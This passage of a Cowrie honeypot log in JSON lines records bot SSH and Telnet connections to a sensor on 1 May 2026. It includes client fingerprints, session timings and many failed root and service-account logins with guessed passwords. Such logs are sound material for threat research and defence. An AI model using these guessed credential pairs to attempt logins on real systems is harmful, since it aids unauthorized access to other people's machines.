ac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:47.611315Z","src_ip":"213.209.159.158","session":"56cb614b2374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps256","message":"login attempt [root/vps256] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:57.071623Z","src_ip":"213.209.159.158","session":"56cb614b2374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:00.313048Z","src_ip":"213.209.159.158","session":"56cb614b2374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7700,"dst_ip":"159.203.135.109","dst_port":22,"session":"07b055bedaa1","protocol":"ssh","message":"New connection: 213.209.159.158:7700 (159.203.135.109:22) [session: 07b055bedaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:00.392693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:03.015067Z","src_ip":"213.209.159.158","session":"07b055bedaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:03.018963Z","src_ip":"213.209.159.158","session":"07b055bedaa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":45462,"dst_ip":"159.203.135.109","dst_port":22,"session":"1234b5c09753","protocol":"ssh","message":"New connection: 43.159.177.40:45462 (159.203.135.109:22) [session: 1234b5c09753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:06.201567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:06.206919Z","src_ip":"43.159.177.40","session":"1234b5c09753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:06.281425Z","src_ip":"43.159.177.40","session":"1234b5c09753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123456789","message":"login attempt [test/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:06.590951Z","src_ip":"43.159.177.40","session":"1234b5c09753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:07.663074Z","src_ip":"43.159.177.40","session":"1234b5c09753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyager1","message":"login attempt [root/voyager1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:11.944580Z","src_ip":"213.209.159.158","session":"07b055bedaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:15.130266Z","src_ip":"213.209.159.158","session":"07b055bedaa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":10540,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6cf4331850","protocol":"ssh","message":"New connection: 213.209.159.158:10540 (159.203.135.109:22) [session: 0b6cf4331850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:15.237720Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48578,"dst_ip":"159.203.135.109","dst_port":22,"session":"f70ff4327b43","protocol":"ssh","message":"New connection: 159.203.92.129:48578 (159.203.135.109:22) [session: f70ff4327b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:17.164368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:17.168464Z","src_ip":"159.203.92.129","session":"f70ff4327b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:17.172488Z","src_ip":"159.203.92.129","session":"f70ff4327b43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passansible23","message":"login attempt [ansible/passansible23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:17.183521Z","src_ip":"159.203.92.129","session":"f70ff4327b43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:17.724464Z","src_ip":"213.209.159.158","session":"0b6cf4331850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:17.728075Z","src_ip":"213.209.159.158","session":"0b6cf4331850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:18.190407Z","src_ip":"159.203.92.129","session":"f70ff4327b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":56182,"dst_ip":"159.203.135.109","dst_port":22,"session":"76b5264d99f2","protocol":"ssh","message":"New connection: 156.227.233.77:56182 (159.203.135.109:22) [session: 76b5264d99f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:24.773930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:24.782130Z","src_ip":"156.227.233.77","session":"76b5264d99f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:24.947672Z","src_ip":"156.227.233.77","session":"76b5264d99f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"abc123","message":"login attempt [user1/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:25.634454Z","src_ip":"156.227.233.77","session":"76b5264d99f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:26.800902Z","src_ip":"156.227.233.77","session":"76b5264d99f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volkswagen","message":"login attempt [root/volkswagen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:26.937392Z","src_ip":"213.209.159.158","session":"0b6cf4331850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:30.528327Z","src_ip":"213.209.159.158","session":"0b6cf4331850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48844,"dst_ip":"159.203.135.109","dst_port":22,"session":"6356ea79bae0","protocol":"ssh","message":"New connection: 213.209.159.158:48844 (159.203.135.109:22) [session: 6356ea79bae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:30.606927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:32.796396Z","src_ip":"213.209.159.158","session":"6356ea79bae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:32.800190Z","src_ip":"213.209.159.158","session":"6356ea79bae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vV!123345","message":"login attempt [root/vV!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:41.816640Z","src_ip":"213.209.159.158","session":"6356ea79bae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:45.126786Z","src_ip":"213.209.159.158","session":"6356ea79bae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":42106,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b973c5052d","protocol":"ssh","message":"New connection: 213.209.159.158:42106 (159.203.135.109:22) [session: 52b973c5052d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:45.210186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:47.254438Z","src_ip":"213.209.159.158","session":"52b973c5052d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:47.257987Z","src_ip":"213.209.159.158","session":"52b973c5052d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.96.225","src_port":40908,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89df8e9bc99","protocol":"telnet","message":"New connection: 36.26.96.225:40908 (159.203.135.109:23) [session: c89df8e9bc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:54.706470Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VkCdn2023","message":"login attempt [root/VkCdn2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:56.778645Z","src_ip":"213.209.159.158","session":"52b973c5052d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":34894,"dst_ip":"159.203.135.109","dst_port":22,"session":"819e498fd27c","protocol":"ssh","message":"New connection: 43.159.177.40:34894 (159.203.135.109:22) [session: 819e498fd27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:57.375205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:57.383209Z","src_ip":"43.159.177.40","session":"819e498fd27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:57.454751Z","src_ip":"43.159.177.40","session":"819e498fd27c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"1234","message":"login attempt [backupuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:57.730626Z","src_ip":"43.159.177.40","session":"819e498fd27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:44:58.804424Z","src_ip":"43.159.177.40","session":"819e498fd27c","protocol":"ssh"}
